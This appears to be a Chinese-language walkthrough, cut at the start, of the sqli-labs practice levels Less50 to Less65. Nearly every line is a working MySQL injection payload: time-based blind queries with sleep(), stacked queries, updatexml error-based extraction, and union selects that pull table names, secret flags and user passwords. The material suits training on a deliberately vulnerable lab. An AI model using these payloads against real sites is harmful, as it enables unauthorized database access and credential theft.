?sort= 1 ' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆值:
?sort= 1 ' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
Less50
主要考察堆叠注入,也可以用报错注入及时间盲注
Payload:?sort= 1; create table less50 like users;
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
Less51
Payload:?sort= 1'; create table less51 like users;
和less50一样,不同之处在于这里要用单引号闭合
字符型注入
?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
Less52
和less50一样,只是少了报错信息而已,所以这关不能用报错注入
?sort=rand(left(database(),1)>'s')
?sort=rand(left(database(),1)>'r')
Less53
?sort=1' or sleep(3)--+ # 无延时 ?sort=0' or sleep(3)--+ # 有明显延时
和less51一样,只是少了报错信息而已,所以这关不能用报错注入
Less54
这关主要目的是找flag,而且限制查询次数为10次
查表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='LSAJ0B6O32'--+
拿flag:?id=-1' union select 1,2,secret_9JFP from LSAJ0B6O32--+
Less55
这关和less54基本一样,不同之处在于这里的id值是用)闭合的,有14次机会
查表:?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='RBG0H8QAGH'--+
拿flag:?id=-1) union select 1,2,secret_MA84 from RBG0H8QAGH--+
Less56
这关和前面的一样,不同之处在于这里的id值是用’)闭合的,有14次机会
查表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TRHM6LHUOA'--+
拿flag:?id=-1') union select 1,2,secret_NNCE from TRHM6LHUOA--+
Less57
这关和前面的一样,不同之处在于这里的id值是用”闭合的,有14次机会
查表:
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='JYS4QTFQ1Q'--+
拿flag:
?id=-1" union select 1,2,secret_N3CX from JYS4QTFQ1Q--+
Less58
使用报错注入,有5次机会
查表:
?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:
?id=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='SMDG0YXULR')),0));--+
拿flag:
?id=1' and(updatexml(1,concat(0x7e,(select secret_IEA6 from SMDG0YXULR)),0));--+
Less59
这关less58一样,不同之处在于这里的id值是数字型不需闭合,有5次机会
查表:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZL7PTMIQTS')),0));--+
拿flag:?id=1 and(updatexml(1,concat(0x7e,(select secret_H46U from ZL7PTMIQTS)),0));--+
Less60
同上,不同之处在于这里的id值是用”)闭合的,有5次机会
查表:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='J7V35MEKFK')),0));--+
拿flag:?id=1") and(updatexml(1,concat(0x7e,(select secret_V4S2 from J7V35MEKFK)),0));--+
Less61
同上,不同之处在于这里的id值是用’))闭合的,有5次机会
查表:
?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段
?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='3JN35INZHU')),0));--+
拿flag:
?id=1')) and(updatexml(1,concat(0x7e,(select secret_RS9Z from 3JN35INZHU)),0));--+
Less62
时间盲注,有130次机会
查表:?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100, 0, sleep(5))--+
查字段:?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))>100, 0, sleep(5))--+
拿flag:?id=1') and if(ascii(substr((select 字段名 from 表名 limit 0,1),1,1))>100, 0, sleep(5))--+
Less63
这关和less62一样,不同之处在于这里的id值是用’闭合的
?id=1' --+
?id=1' and if(ascii(substring(database(),1,1))=99,sleep(10),1)--+
Less64
同上,不同之处在于这里的id值是用))闭合的
?id=1)) --+
Less65
同上,不同之处在于这里的id值是用”)闭合的
?id=1") --+
更多推荐
所有评论(0)